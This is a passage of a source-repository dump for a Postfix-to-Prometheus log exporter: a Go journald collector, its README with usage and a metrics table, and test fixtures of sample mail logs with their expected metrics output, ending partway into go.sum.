sdjournal.NewJournalReader(sdjournal.JournalReaderConfig{ 50 | Since: d, 51 | Matches: m, 52 | Path: j.Path, 53 | Formatter: formatJournald, 54 | }) 55 | } 56 | 57 | func (j *Journald) start(ch chan<- result) error { 58 | var err error 59 | j.r, err = j.open() 60 | if err != nil { 61 | return err 62 | } 63 | j.wg.Add(1) 64 | go func() { 65 | defer j.wg.Done() 66 | j.r.Follow(j.done, writerFunc(func(p []byte) (n int, err error) { 67 | var res result 68 | res.rec, res.err = parseRecord(string(p)) 69 | select { 70 | case ch <- res: 71 | case <-j.done: 72 | return 73 | } 74 | return len(p), nil 75 | })) 76 | }() 77 | return nil 78 | } 79 | 80 | func (j *Journald) read(ch chan<- result) error { 81 | r, err := j.open() 82 | if err != nil { 83 | return err 84 | } 85 | j.wg.Add(1) 86 | go func() { 87 | defer j.wg.Done() 88 | defer r.Close() 89 | buf := make([]byte, 64<<10) 90 | for { 91 | if j.closed { 92 | return 93 | } 94 | n, err := r.Read(buf) 95 | if err == io.EOF { 96 | break 97 | } 98 | if err != nil { 99 | return 100 | } 101 | if n > 0 { 102 | var res result 103 | res.rec, res.err = parseRecord(string(buf[:n])) 104 | select { 105 | case ch <- res: 106 | case <-j.done: 107 | return 108 | } 109 | } 110 | } 111 | }() 112 | return nil 113 | } 114 | 115 | func (j *Journald) Wait() { 116 | j.wg.Wait() 117 | } 118 | 119 | func (j *Journald) Close() error { 120 | j.closed = true 121 | close(j.done) 122 | var err error 123 | if j.r != nil { 124 | err = j.r.Close() 125 | } 126 | return err 127 | } 128 | 129 | type writerFunc func(p []byte) (n int, err error) 130 | 131 | func (f writerFunc) Write(p []byte) (n int, err error) { 132 | return f(p) 133 | } 134 | 135 | func formatJournald(entry *sdjournal.JournalEntry) (string, error) { 136 | severity := "" 137 | switch entry.Fields[sdjournal.SD_JOURNAL_FIELD_PRIORITY] { 138 | case "4": 139 | severity = string(severityWarning) 140 | case "3": 141 | severity = string(severityError) 142 | case "1", "2": 143 | severity = string(severityFatal) 144 | case "0": 145 | severity = string(severityPanic) 146 | } 147 | if severity != "" { 148 | severity = ": " + severity 149 | } 150 | return fmt.Sprintf( 151 | "%s %s %s[%s]%s: %s", 152 | strings.TrimSuffix(journaldField(entry, "SYSLOG_TIMESTAMP"), " "), 153 | journaldField(entry, sdjournal.SD_JOURNAL_FIELD_HOSTNAME), 154 | journaldField(entry, sdjournal.SD_JOURNAL_FIELD_SYSLOG_IDENTIFIER), 155 | journaldField(entry, sdjournal.SD_JOURNAL_FIELD_PID), 156 | severity, 157 | journaldField(entry, sdjournal.SD_JOURNAL_FIELD_MESSAGE), 158 | ), nil 159 | } 160 | 161 | func journaldField(entry *sdjournal.JournalEntry, key string) string { 162 | if s, ok := entry.Fields[key]; ok { 163 | return s 164 | } 165 | return "%unknown " + key + "%" 166 | } 167 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Postfix Exporter 2 | 3 | [![Test](https://github.com/vastobject/postfix_exporter/actions/workflows/test.yml/badge.svg)](https://github.com/vastobject/postfix_exporter/actions/workflows/test.yml) 4 | [![Go Report Card](https://goreportcard.com/badge/github.com/vastobject/postfix_exporter/v2)](https://goreportcard.com/report/github.com/vastobject/postfix_exporter/v2) 5 | [![codecov](https://codecov.io/gh/sergeymakinen/postfix_exporter/branch/main/graph/badge.svg)](https://codecov.io/gh/sergeymakinen/postfix_exporter) 6 | [![Docker Pulls](https://img.shields.io/docker/pulls/sergeymakinen/postfix_exporter)](https://hub.docker.com/r/sergeymakinen/postfix_exporter) 7 | 8 | Export Postfix stats from logs to Prometheus. 9 | 10 | To run it: 11 | 12 | ```bash 13 | make 14 | ./postfix_exporter [flags] 15 | ``` 16 | 17 | ## Using Docker 18 | 19 | You can deploy this exporter using 20 | the [sergeymakinen/postfix_exporter](https://hub.docker.com/r/sergeymakinen/postfix_exporter) Docker image. 21 | 22 | For example: 23 | 24 | ```bash 25 | docker pull sergeymakinen/postfix_exporter 26 | 27 | docker run -d -p 9907:9907 -v postfix_logs:/var/log/postfix sergeymakinen/postfix_exporter \ 28 | --file.log /var/log/postfix/postfix.log 29 | ``` 30 | 31 | ## Exported metrics 32 | 33 | | Metric | Meaning | Labels 34 | | --- | --- | --- 35 | | postfix_errors_total | Total number of log records parsing resulted in an error. | 36 | | postfix_foreign_total | Total number of foreign log records. | 37 | | postfix_unsupported_total | Total number of unsupported log records. | 38 | | postfix_postscreen_actions_total | Total number of times postscreen events were collected. | action 39 | | postfix_connects_total | Total number of times connect events were collected. | subprogram 40 | | postfix_disconnects_total | Total number of times disconnect events were collected. | subprogram 41 | | postfix_lost_connections_total | Total number of times lost connection events were collected. | subprogram 42 | | postfix_not_resolved_hostnames_total | Total number of times not resolved hostname events were collected. | subprogram 43 | | postfix_statuses_total | Total number of times server message status change events were collected. | subprogram, status 44 | | postfix_delay_seconds | Delay in seconds for a server to process a message. | subprogram, status 45 | | postfix_status_replies_total | Total number of times server message status change event replies were collected. Requires [configuration](CONFIGURATION.md) to be present. | subprogram, status, code, enhanced_code, text 46 | | postfix_smtp_replies_total | Total number of times SMTP server replies were collected. Requires [configuration](CONFIGURATION.md) to be present. | code, enhanced_code, text 47 | | postfix_milter_actions_total | Total number of times milter events were collected. | subprogram, action 48 | | postfix_login_failures_total | Total number of times login failure events were collected. | subprogram, method 49 | | postfix_qmgr_statuses_total | Total number of times Postfix queue manager message status change events were collected. | status 50 | | postfix_logs_total | Total number of log records processed. | subprogram, severity 51 | | postfix_noqueue_reject_replies_total | Total number of times NOQUEUE: reject event replies were collected. Requires [configuration](CONFIGURATION.md) to be present. | subprogram, command, code, enhanced_code, text 52 | 53 | ## Flags 54 | 55 | ```bash 56 | ./postfix_exporter --help 57 | ``` 58 | 59 | * __`config.file`:__ Postfix exporter [configuration file](CONFIGURATION.md). 60 | * __`config.check`:__ If true, validate the config file and then exit. 61 | * __`collector`:__ Collector type to scrape metrics with. `file` or `journald`. 62 | * __`postfix.instance`:__ Postfix instance name. `postfix` by default. 63 | * __`file.log`:__ Path to a file containing Postfix logs. Example: `/var/log/mail.log`. 64 | * __`journald.path`:__ Path where a systemd journal residing in. A local journal is being used by default. 65 | * __`journald.unit`:__ Postfix systemd service name. `postfix@-.service` by default. 66 | * __`journald.since`:__ Time since which to read from a systemd journal. Now by default. 67 | * __`test`:__ If true, read logs, print metrics and then exit. 68 | * __`web.listen-address`:__ Address to listen on for web interface and telemetry. 69 | * __`web.telemetry-path`:__ Path under which to expose metrics. 70 | * __`log.level`:__ Logging level. `info` by default. 71 | * __`log.format`:__ Set the log target and format. Example: `logger:syslog?appname=bob&local=7` 72 | or `logger:stdout?json=true`. 73 | 74 | ### TLS and basic authentication 75 | 76 | The postfix_exporter supports TLS and basic authentication. 77 | To use TLS and/or basic authentication, you need to pass a configuration file 78 | using the `--web.config.file` parameter. The format of the file is described 79 | [in the exporter-toolkit repository](https://github.com/prometheus/exporter-toolkit/blob/master/docs/web-configuration.md). 80 | -------------------------------------------------------------------------------- /exporter/testdata/metrics-without-config.txt: -------------------------------------------------------------------------------- 1 | # HELP postfix_connects_total Total number of times connect events were collected. 2 | # TYPE postfix_connects_total counter 3 | postfix_connects_total{subprogram="smtpd"} 1 4 | # HELP postfix_delay_seconds Delay in seconds for a server to process a message. 5 | # TYPE postfix_delay_seconds summary 6 | postfix_delay_seconds{status="bounced",subprogram="lmtp",quantile="0.5"} 1.23 7 | postfix_delay_seconds{status="bounced",subprogram="lmtp",quantile="0.9"} 1.23 8 | postfix_delay_seconds{status="bounced",subprogram="lmtp",quantile="0.99"} 1.23 9 | postfix_delay_seconds_sum{status="bounced",subprogram="lmtp"} 1.23 10 | postfix_delay_seconds_count{status="bounced",subprogram="lmtp"} 1 11 | postfix_delay_seconds{status="bounced",subprogram="smtp",quantile="0.5"} 1.23 12 | postfix_delay_seconds{status="bounced",subprogram="smtp",quantile="0.9"} 1.23 13 | postfix_delay_seconds{status="bounced",subprogram="smtp",quantile="0.99"} 1.23 14 | postfix_delay_seconds_sum{status="bounced",subprogram="smtp"} 1.23 15 | postfix_delay_seconds_count{status="bounced",subprogram="smtp"} 1 16 | postfix_delay_seconds{status="deferred",subprogram="smtp",quantile="0.5"} 2 17 | postfix_delay_seconds{status="deferred",subprogram="smtp",quantile="0.9"} 2 18 | postfix_delay_seconds{status="deferred",subprogram="smtp",quantile="0.99"} 2 19 | postfix_delay_seconds_sum{status="deferred",subprogram="smtp"} 4 20 | postfix_delay_seconds_count{status="deferred",subprogram="smtp"} 2 21 | postfix_delay_seconds{status="sent",subprogram="lmtp",quantile="0.5"} 0.12 22 | postfix_delay_seconds{status="sent",subprogram="lmtp",quantile="0.9"} 0.12 23 | postfix_delay_seconds{status="sent",subprogram="lmtp",quantile="0.99"} 0.12 24 | postfix_delay_seconds_sum{status="sent",subprogram="lmtp"} 0.12 25 | postfix_delay_seconds_count{status="sent",subprogram="lmtp"} 1 26 | postfix_delay_seconds{status="sent",subprogram="smtp",quantile="0.5"} 0.12 27 | postfix_delay_seconds{status="sent",subprogram="smtp",quantile="0.9"} 0.12 28 | postfix_delay_seconds{status="sent",subprogram="smtp",quantile="0.99"} 0.12 29 | postfix_delay_seconds_sum{status="sent",subprogram="smtp"} 0.24 30 | postfix_delay_seconds_count{status="sent",subprogram="smtp"} 2 31 | # HELP postfix_disconnects_total Total number of times disconnect events were collected. 32 | # TYPE postfix_disconnects_total counter 33 | postfix_disconnects_total{subprogram="smtpd"} 1 34 | # HELP postfix_login_failures_total Total number of times login failure events were collected. 35 | # TYPE postfix_login_failures_total counter 36 | postfix_login_failures_total{method="LOGIN",subprogram="smtpd"} 1 37 | # HELP postfix_logs_total Total number of log records processed. 38 | # TYPE postfix_logs_total counter 39 | postfix_logs_total{severity="error",subprogram="postscreen"} 1 40 | postfix_logs_total{severity="info",subprogram="cleanup"} 2 41 | postfix_logs_total{severity="info",subprogram="lmtp"} 3 42 | postfix_logs_total{severity="info",subprogram="postscreen"} 22 43 | postfix_logs_total{severity="info",subprogram="qmgr"} 2 44 | postfix_logs_total{severity="info",subprogram="smtp"} 9 45 | postfix_logs_total{severity="info",subprogram="smtpd"} 9 46 | postfix_logs_total{severity="info",subprogram="unknown"} 1 47 | postfix_logs_total{severity="warning",subprogram="smtpd"} 2 48 | # HELP postfix_lost_connections_total Total number of times lost connection events were collected. 49 | # TYPE postfix_lost_connections_total counter 50 | postfix_lost_connections_total{subprogram="smtpd"} 1 51 | # HELP postfix_milter_actions_total Total number of times milter events were collected. 52 | # TYPE postfix_milter_actions_total counter 53 | postfix_milter_actions_total{action="reject",subprogram="cleanup"} 1 54 | postfix_milter_actions_total{action="reject",subprogram="smtpd"} 1 55 | # HELP postfix_not_resolved_hostnames_total Total number of times not resolved hostname events were collected. 56 | # TYPE postfix_not_resolved_hostnames_total counter 57 | postfix_not_resolved_hostnames_total{subprogram="smtpd"} 1 58 | # HELP postfix_postscreen_actions_total Total number of times postscreen events were collected. 59 | # TYPE postfix_postscreen_actions_total counter 60 | postfix_postscreen_actions_total{action="ALLOWLISTED"} 1 61 | postfix_postscreen_actions_total{action="BARE NEWLINE"} 1 62 | postfix_postscreen_actions_total{action="BDAT"} 1 63 | postfix_postscreen_actions_total{action="BLACKLISTED"} 1 64 | postfix_postscreen_actions_total{action="COMMAND COUNT LIMIT"} 1 65 | postfix_postscreen_actions_total{action="COMMAND LENGTH LIMIT"} 1 66 | postfix_postscreen_actions_total{action="COMMAND PIPELINING"} 1 67 | postfix_postscreen_actions_total{action="COMMAND TIME LIMIT"} 1 68 | postfix_postscreen_actions_total{action="CONNECT"} 1 69 | postfix_postscreen_actions_total{action="DATA"} 1 70 | postfix_postscreen_actions_total{action="DENYLISTED"} 1 71 | postfix_postscreen_actions_total{action="DISCONNECT"} 1 72 | postfix_postscreen_actions_total{action="DNSBL"} 1 73 | postfix_postscreen_actions_total{action="HANGUP"} 1 74 | postfix_postscreen_actions_total{action="NON-SMTP COMMAND"} 1 75 | postfix_postscreen_actions_total{action="NOQUEUE: CONNECT"} 1 76 | postfix_postscreen_actions_total{action="NOQUEUE: RCPT"} 1 77 | postfix_postscreen_actions_total{action="PASS NEW"} 1 78 | postfix_postscreen_actions_total{action="PASS OLD"} 1 79 | postfix_postscreen_actions_total{action="PREGREET"} 1 80 | postfix_postscreen_actions_total{action="WHITELIST VETO"} 1 81 | postfix_postscreen_actions_total{action="WHITELISTED"} 1 82 | # HELP postfix_qmgr_statuses_total Total number of times Postfix queue manager message status change events were collected. 83 | # TYPE postfix_qmgr_statuses_total counter 84 | postfix_qmgr_statuses_total{status="expired"} 1 85 | # HELP postfix_statuses_total Total number of times server message status change events were collected. 86 | # TYPE postfix_statuses_total counter 87 | postfix_statuses_total{status="bounced",subprogram="lmtp"} 1 88 | postfix_statuses_total{status="bounced",subprogram="smtp"} 1 89 | postfix_statuses_total{status="deferred",subprogram="smtp"} 2 90 | postfix_statuses_total{status="sent",subprogram="lmtp"} 1 91 | postfix_statuses_total{status="sent",subprogram="smtp"} 2 92 | # HELP postfix_unsupported_total Total number of unsupported log records. 93 | # TYPE postfix_unsupported_total counter 94 | postfix_unsupported_total 8 95 | -------------------------------------------------------------------------------- /exporter/testdata/mail.log: -------------------------------------------------------------------------------- 1 | # Unsupported or malformed 2 | Jan 1 00:00:00 hostname postfix1[12345]: foo 3 | Jan 1 00:00:00 hostname postfix/unknown[12345]: foo 4 | Jan: 1 00:00:00 hostname postfix/postscreen[12345]: foo 5 | Jan 1 00:00:00 hostname postfix/postscreen[abcde]: foo 6 | Jan 1 00:00:00 hostname postfix/postscreen[12345 7 | Jan 1 00:00:00 hostname postfix/postscreen 8 | Foo 1 00:00:00 hostname 9 | Jan 1 00:00:00 10 | Jan 11 | # Postscreen 12 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: CONNECT from [123.45.67.89]:12345 to [123.45.67.89]:25 13 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: DISCONNECT [123.45.67.89]:12345 14 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: DNSBL rank 123 for [123.45.67.89]:12345 15 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: PREGREET 123 after 0.12 from [123.45.67.89]:12345: EHLO User\r\n 16 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: PASS OLD [123.45.67.89]:12345 17 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: PASS NEW [123.45.67.89]:12345 18 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: HANGUP after 123 from [123.45.67.89]:12345 in tests after SMTP handshake 19 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: NOQUEUE: reject: RCPT from [123.45.67.89]:12345: 123 1.2.3 Reasons; client [123.45.67.89] blocked using example.com; from=, to=, proto=ESMTP, helo= 20 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: DATA without valid RCPT from [123.45.67.89]:12345 21 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: BDAT without valid RCPT from [123.45.67.89]:12345 22 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: COMMAND TIME LIMIT from [123.45.67.89]:12345 after HELO 23 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: COMMAND LENGTH LIMIT from [123.45.67.89]:12345 after HELO 24 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: BARE NEWLINE from [123.45.67.89]:12345 after \000\000\000 25 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: NON-SMTP COMMAND from [123.45.67.89]:12345 after CONNECT: GET / HTTP/1.1 26 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: COMMAND PIPELINING from [123.45.67.89]:12345 after : \r\n 27 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: COMMAND COUNT LIMIT from [123.45.67.89]:12345 after UNIMPLEMENTED 28 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: NOQUEUE: reject: CONNECT from [123.45.67.89]:12345: too many connections 29 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: DENYLISTED [123.45.67.89]:12345 30 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: BLACKLISTED [123.45.67.89]:12345 31 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: ALLOWLISTED [123.45.67.89]:12345 32 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: WHITELISTED [123.45.67.89]:12345 33 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: WHITELIST VETO [123.45.67.89]:12345 34 | Jan 1 00:00:00 hostname postfix/postscreen[12345]: error: open /example: No such file or directory 35 | # smtpd 36 | 2023-02-01T01:02:04.123456+00:00 hostname postfix/smtpd[12345]: warning: hostname example.com does not resolve to address 123.45.67.89 37 | Jan 1 00:00:00 hostname postfix/smtpd[12345]: connect from example.com[123.45.67.89] 38 | Jan 01 00:00:00 hostname postfix/smtpd[12345]: disconnect from example.com[123.45.67.89] ehlo=123 mail=123 rcpt=123 data=123 quit=123 commands=123 39 | Jan 1 00:00:00 hostname postfix/smtpd[12345]: lost connection after CONNECT from example.com[123.45.67.89] 40 | Jan 1 00:00:00 hostname postfix/smtpd[12345]: 123456789AB: milter-reject: DATA from example.com[123.45.67.89]: 123 1.2.3 Reasons; from= to= proto=ESMTP helo= 41 | Jan 1 00:00:00 hostname postfix/smtpd[12345]: warning: example.com[123.45.67.89]: SASL LOGIN authentication failed: xxx 42 | Jan 1 00:00:00 hostname postfix/smtpd[12345]: NOQUEUE: reject: RCPT from example.com[123.45.67.89]: 123 1.2.3 : Reasons; from= to= proto=ESMTP helo= 43 | Jan 1 00:00:00 hostname postfix/smtpd[12345]: NOQUEUE: reject: RCPT from example.com[123.45.67.89]: 123 1.2.3 Client host rejected: cannot find your hostname, [123.45.67.89]; from= to= proto=ESMTP helo= 44 | Jan 1 00:00:00 hostname postfix/smtpd[12345]: NOQUEUE: reject: RCPT from example.com[123.45.67.89]: 123 1.2.3 : Recipient address rejected: Rejected by SPF: 123.45.67.89 is not a designated mailserver for user%40example.com (context mfrom, on example.com); from= to= proto=ESMTP helo= 45 | Jan 1 00:00:00 hostname postfix/smtpd[12345]: NOQUEUE: reject: Unsupported 46 | Jan 1 00:00:00 hostname postfix/smtpd[12345]: Unsupported 47 | # lmtp 48 | Jan 1 00:00:00 hostname postfix/lmtp[12345]: 123456789AB: to=, relay=example.com[path], delay=0.12, delays=0.12/0.12/0.12/0.12, dsn=1.2.3, status=sent (250 2.0.0 Ok: queued as aaaaaaaaaaaaa) 49 | 2023-02-01T01:02:04.123456+00:00 hostname postfix/lmtp[12345]: 123456789AB: to=, relay=example.com[123.45.67.89]:25, delay=1.23, delays=1.23/1.23/1.23/1.23, dsn=1.2.3, status=bounced (123 #1.2.3 Reasons) 50 | Jan 1 00:00:00 hostname postfix/lmtp[12345]: Unsupported 51 | # smtp 52 | Jan 1 00:00:00 hostname postfix/smtp[12345]: 123456789AB: to=, relay=example.com[123.45.67.89]:123, delay=0.12, delays=0.12/0.12/0.12/0.12, dsn=1.2.3, status=sent (250 2.0.0 Ok: queued as aaaaaaaaaaaaa) 53 | Jan 1 00:00:00 hostname postfix/smtp[12345]: 123456789AB: to=, relay=example.com[123.45.67.89]:123, delay=0.12, delays=0.12/0.12/0.12/0.12, dsn=1.2.3, status=sent (250 OK queued as aaaaaaaaaaaaa) 54 | 2023-02-01T01:02:04.123456+00:00 hostname postfix/smtp[12345]: 123456789AB: to=, relay=example.com[123.45.67.89]:25, delay=1.23, delays=1.23/1.23/1.23/1.23, dsn=1.2.3, status=bounced (host example.com[123.45.67.89] said: 123 #1.2.3 DKIM unauthenticated mail is prohibited, please check your DKIM signature. If you believe that this failure is in error, please refer to https://tools.ietf.org/html/rfc6376 or contact user@example.com for more information via alternate means. (in reply to end of DATA command)) 55 | Jan 1 00:00:00 hostname postfix/smtp[12345]: 123456789AB: user@example.com, relay=example.com[123.45.67.89]:25, delay=2, delays=2/2/2/2, dsn=1.2.3, status=deferred (host example.com[123.45.67.89] said: 123-1.2.3 The recipient's inbox is out of storage space. Please direct the 123-1.2.3 recipient to 123 1.2.3 https://support.google.com/mail/?p=OverQuotaTemp 000-0000000000000000000000000000000000000000000.000 - gsmtp (in reply to RCPT TO command)) 56 | Jan 1 00:00:00 hostname postfix/smtp[12345]: 123456789AB: user@example.com, relay=example.com[123.45.67.89]:25, delay=2, delays=2/2/2/2, dsn=1.2.3, status=deferred (host example.com[123.45.67.89] said: 12 Malformed (in reply to RCPT TO command)) 57 | Jan 1 00:00:00 hostname postfix/smtp[12345]: 123456789AB: host example.com[123.45.67.89] said: 123 1.2.3 Greylisting in action, please come back later (in reply to RCPT TO command) 58 | Jan 1 00:00:00 hostname postfix/smtp[12345]: 123456789AB: host example.com[123.45.67.89] said: 123 1.2.3 Ignored (in reply to RCPT TO command) 59 | Jan 1 00:00:00 hostname postfix/smtp[12345]: 123456789AB: host example.com[123.45.67.89] said: 12 Malformed (in reply to RCPT TO command) 60 | Jan 1 00:00:00 hostname postfix/smtp[12345]: Unsupported 61 | # cleanup 62 | Jan 1 00:00:00 hostname postfix/cleanup[12345]: 123456789AB: milter-reject: END-OF-MESSAGE from example.com[123.45.67.89]: 123 1.2.3 Reasons; from= to= proto=ESMTP helo= 63 | Jan 1 00:00:00 hostname postfix/cleanup[12345]: Unsupported 64 | # qmgr 65 | Jan 1 00:00:00 hostname postfix/qmgr[12345]: 123456789AB: from=>, status=expired, returned to sender 66 | Jan 1 00:00:00 hostname postfix/qmgr[12345]: Unsupported 67 | -------------------------------------------------------------------------------- /exporter/testdata/metrics-with-config.txt: -------------------------------------------------------------------------------- 1 | # HELP postfix_connects_total Total number of times connect events were collected. 2 | # TYPE postfix_connects_total counter 3 | postfix_connects_total{subprogram="smtpd"} 1 4 | # HELP postfix_delay_seconds Delay in seconds for a server to process a message. 5 | # TYPE postfix_delay_seconds summary 6 | postfix_delay_seconds{status="bounced",subprogram="lmtp",quantile="0.5"} 1.23 7 | postfix_delay_seconds{status="bounced",subprogram="lmtp",quantile="0.9"} 1.23 8 | postfix_delay_seconds{status="bounced",subprogram="lmtp",quantile="0.99"} 1.23 9 | postfix_delay_seconds_sum{status="bounced",subprogram="lmtp"} 1.23 10 | postfix_delay_seconds_count{status="bounced",subprogram="lmtp"} 1 11 | postfix_delay_seconds{status="bounced",subprogram="smtp",quantile="0.5"} 1.23 12 | postfix_delay_seconds{status="bounced",subprogram="smtp",quantile="0.9"} 1.23 13 | postfix_delay_seconds{status="bounced",subprogram="smtp",quantile="0.99"} 1.23 14 | postfix_delay_seconds_sum{status="bounced",subprogram="smtp"} 1.23 15 | postfix_delay_seconds_count{status="bounced",subprogram="smtp"} 1 16 | postfix_delay_seconds{status="deferred",subprogram="smtp",quantile="0.5"} 2 17 | postfix_delay_seconds{status="deferred",subprogram="smtp",quantile="0.9"} 2 18 | postfix_delay_seconds{status="deferred",subprogram="smtp",quantile="0.99"} 2 19 | postfix_delay_seconds_sum{status="deferred",subprogram="smtp"} 4 20 | postfix_delay_seconds_count{status="deferred",subprogram="smtp"} 2 21 | postfix_delay_seconds{status="sent",subprogram="lmtp",quantile="0.5"} 0.12 22 | postfix_delay_seconds{status="sent",subprogram="lmtp",quantile="0.9"} 0.12 23 | postfix_delay_seconds{status="sent",subprogram="lmtp",quantile="0.99"} 0.12 24 | postfix_delay_seconds_sum{status="sent",subprogram="lmtp"} 0.12 25 | postfix_delay_seconds_count{status="sent",subprogram="lmtp"} 1 26 | postfix_delay_seconds{status="sent",subprogram="smtp",quantile="0.5"} 0.12 27 | postfix_delay_seconds{status="sent",subprogram="smtp",quantile="0.9"} 0.12 28 | postfix_delay_seconds{status="sent",subprogram="smtp",quantile="0.99"} 0.12 29 | postfix_delay_seconds_sum{status="sent",subprogram="smtp"} 0.24 30 | postfix_delay_seconds_count{status="sent",subprogram="smtp"} 2 31 | # HELP postfix_disconnects_total Total number of times disconnect events were collected. 32 | # TYPE postfix_disconnects_total counter 33 | postfix_disconnects_total{subprogram="smtpd"} 1 34 | # HELP postfix_login_failures_total Total number of times login failure events were collected. 35 | # TYPE postfix_login_failures_total counter 36 | postfix_login_failures_total{method="LOGIN",subprogram="smtpd"} 1 37 | # HELP postfix_logs_total Total number of log records processed. 38 | # TYPE postfix_logs_total counter 39 | postfix_logs_total{severity="error",subprogram="postscreen"} 1 40 | postfix_logs_total{severity="info",subprogram="cleanup"} 2 41 | postfix_logs_total{severity="info",subprogram="lmtp"} 3 42 | postfix_logs_total{severity="info",subprogram="postscreen"} 22 43 | postfix_logs_total{severity="info",subprogram="qmgr"} 2 44 | postfix_logs_total{severity="info",subprogram="smtp"} 9 45 | postfix_logs_total{severity="info",subprogram="smtpd"} 9 46 | postfix_logs_total{severity="info",subprogram="unknown"} 1 47 | postfix_logs_total{severity="warning",subprogram="smtpd"} 2 48 | # HELP postfix_lost_connections_total Total number of times lost connection events were collected. 49 | # TYPE postfix_lost_connections_total counter 50 | postfix_lost_connections_total{subprogram="smtpd"} 1 51 | # HELP postfix_milter_actions_total Total number of times milter events were collected. 52 | # TYPE postfix_milter_actions_total counter 53 | postfix_milter_actions_total{action="reject",subprogram="cleanup"} 1 54 | postfix_milter_actions_total{action="reject",subprogram="smtpd"} 1 55 | # HELP postfix_noqueue_reject_replies_total Total number of times NOQUEUE: reject event replies were collected. 56 | # TYPE postfix_noqueue_reject_replies_total counter 57 | postfix_noqueue_reject_replies_total{code="123",command="RCPT",enhanced_code="1.2.3",subprogram="smtpd",text="Client host rejected: cannot find your hostname"} 1 58 | postfix_noqueue_reject_replies_total{code="123",command="RCPT",enhanced_code="1.2.3",subprogram="smtpd",text="Reasons"} 1 59 | postfix_noqueue_reject_replies_total{code="123",command="RCPT",enhanced_code="1.2.3",subprogram="smtpd",text="Recipient address rejected: Rejected by SPF"} 1 60 | # HELP postfix_not_resolved_hostnames_total Total number of times not resolved hostname events were collected. 61 | # TYPE postfix_not_resolved_hostnames_total counter 62 | postfix_not_resolved_hostnames_total{subprogram="smtpd"} 1 63 | # HELP postfix_postscreen_actions_total Total number of times postscreen events were collected. 64 | # TYPE postfix_postscreen_actions_total counter 65 | postfix_postscreen_actions_total{action="ALLOWLISTED"} 1 66 | postfix_postscreen_actions_total{action="BARE NEWLINE"} 1 67 | postfix_postscreen_actions_total{action="BDAT"} 1 68 | postfix_postscreen_actions_total{action="BLACKLISTED"} 1 69 | postfix_postscreen_actions_total{action="COMMAND COUNT LIMIT"} 1 70 | postfix_postscreen_actions_total{action="COMMAND LENGTH LIMIT"} 1 71 | postfix_postscreen_actions_total{action="COMMAND PIPELINING"} 1 72 | postfix_postscreen_actions_total{action="COMMAND TIME LIMIT"} 1 73 | postfix_postscreen_actions_total{action="CONNECT"} 1 74 | postfix_postscreen_actions_total{action="DATA"} 1 75 | postfix_postscreen_actions_total{action="DENYLISTED"} 1 76 | postfix_postscreen_actions_total{action="DISCONNECT"} 1 77 | postfix_postscreen_actions_total{action="DNSBL"} 1 78 | postfix_postscreen_actions_total{action="HANGUP"} 1 79 | postfix_postscreen_actions_total{action="NON-SMTP COMMAND"} 1 80 | postfix_postscreen_actions_total{action="NOQUEUE: CONNECT"} 1 81 | postfix_postscreen_actions_total{action="NOQUEUE: RCPT"} 1 82 | postfix_postscreen_actions_total{action="PASS NEW"} 1 83 | postfix_postscreen_actions_total{action="PASS OLD"} 1 84 | postfix_postscreen_actions_total{action="PREGREET"} 1 85 | postfix_postscreen_actions_total{action="WHITELIST VETO"} 1 86 | postfix_postscreen_actions_total{action="WHITELISTED"} 1 87 | # HELP postfix_qmgr_statuses_total Total number of times Postfix queue manager message status change events were collected. 88 | # TYPE postfix_qmgr_statuses_total counter 89 | postfix_qmgr_statuses_total{status="expired"} 1 90 | # HELP postfix_smtp_replies_total Total number of times SMTP server replies were collected. 91 | # TYPE postfix_smtp_replies_total counter 92 | postfix_smtp_replies_total{code="123",enhanced_code="1.2.3",text="graylist"} 1 93 | # HELP postfix_status_replies_total Total number of times server message status change event replies were collected. 94 | # TYPE postfix_status_replies_total counter 95 | postfix_status_replies_total{code="123",enhanced_code="1.2.3",status="bounced",subprogram="smtp",text="local_conf_problem"} 1 96 | postfix_status_replies_total{code="123",enhanced_code="1.2.3",status="deferred",subprogram="smtp",text="storage"} 1 97 | postfix_status_replies_total{code="250",enhanced_code="2.0.0",status="sent",subprogram="lmtp",text="sent"} 1 98 | postfix_status_replies_total{code="250",enhanced_code="2.0.0",status="sent",subprogram="smtp",text="sent"} 1 99 | postfix_status_replies_total{code="250",enhanced_code="",status="sent",subprogram="smtp",text="ok"} 1 100 | # HELP postfix_statuses_total Total number of times server message status change events were collected. 101 | # TYPE postfix_statuses_total counter 102 | postfix_statuses_total{status="bounced",subprogram="lmtp"} 1 103 | postfix_statuses_total{status="bounced",subprogram="smtp"} 1 104 | postfix_statuses_total{status="deferred",subprogram="smtp"} 2 105 | postfix_statuses_total{status="sent",subprogram="lmtp"} 1 106 | postfix_statuses_total{status="sent",subprogram="smtp"} 2 107 | # HELP postfix_unsupported_total Total number of unsupported log records. 108 | # TYPE postfix_unsupported_total counter 109 | postfix_unsupported_total 8 110 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/alecthomas/kingpin/v2 v2.4.0 h1:f48lwail6p8zpO1bC4TxtqACaGqHYA22qkHjHpqDjYY= 2 | github.com/alecthomas/kingpin/v2 v2.4.0/go.mod h1:0gyi0zQnjuFk8xrkNKamJoyUo382HRL7ATRpFZCw6tE= 3 | github.com/alecthomas/units v0.0.0-20240927000941-0f3dac36c52b h1:mimo19zliBX/vSQ6PWWSL9lK8qwHozUj03+zLoEB8O0= 4 | github.com/alecthomas/units 